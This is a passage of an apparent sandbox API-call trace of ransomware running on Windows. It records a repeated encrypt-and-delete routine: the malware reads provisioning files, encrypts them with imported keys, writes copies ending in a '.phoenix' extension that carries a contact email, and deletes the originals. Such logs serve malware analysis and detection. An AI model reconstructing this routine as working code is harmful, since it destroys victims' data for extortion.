	[0256.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.663] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0256.664] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.664] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34c, lpOverlapped=0x0) returned 1
	[0256.665] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0256.665] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0256.667] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0256.667] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.667] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.667] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.667] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.667] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.667] CloseHandle (hObject=0x2c0) returned 1
	[0256.667] CloseHandle (hObject=0x2d0) returned 1
	[0256.667] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.668] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.668] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.669] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0256.669] CloseHandle (hObject=0x2d0) returned 1
	[0256.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.669] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.669] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.669] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.669] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.670] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0256.670] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.670] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.671] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.671] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.672] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0256.672] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.672] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.672] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.672] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.672] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.672] CloseHandle (hObject=0x2d0) returned 1
	[0256.672] CloseHandle (hObject=0x2c0) returned 1
	[0256.672] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.673] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.673] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.673] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=715) returned 1
	[0256.673] CloseHandle (hObject=0x2c0) returned 1
	[0256.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.673] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.674] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.674] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.674] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.674] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0256.674] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.674] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0256.678] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.678] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.679] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0256.679] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.679] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.679] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.679] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.679] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.679] CloseHandle (hObject=0x2c0) returned 1
	[0256.679] CloseHandle (hObject=0x2d0) returned 1
	[0256.679] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.680] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.680] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.682] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=450) returned 1
	[0256.682] CloseHandle (hObject=0x2d0) returned 1
	[0256.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.682] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.682] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.682] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.682] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.683] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0256.683] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.683] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c2, lpOverlapped=0x0) returned 1
	[0256.684] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.684] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.685] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0256.685] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.685] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.685] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.685] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.685] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.685] CloseHandle (hObject=0x2d0) returned 1
	[0256.685] CloseHandle (hObject=0x2c0) returned 1
	[0256.685] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.686] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.686] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=701) returned 1
	[0256.686] CloseHandle (hObject=0x2c0) returned 1
	[0256.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.687] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.687] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.687] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151480) returned 1
	[0256.687] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
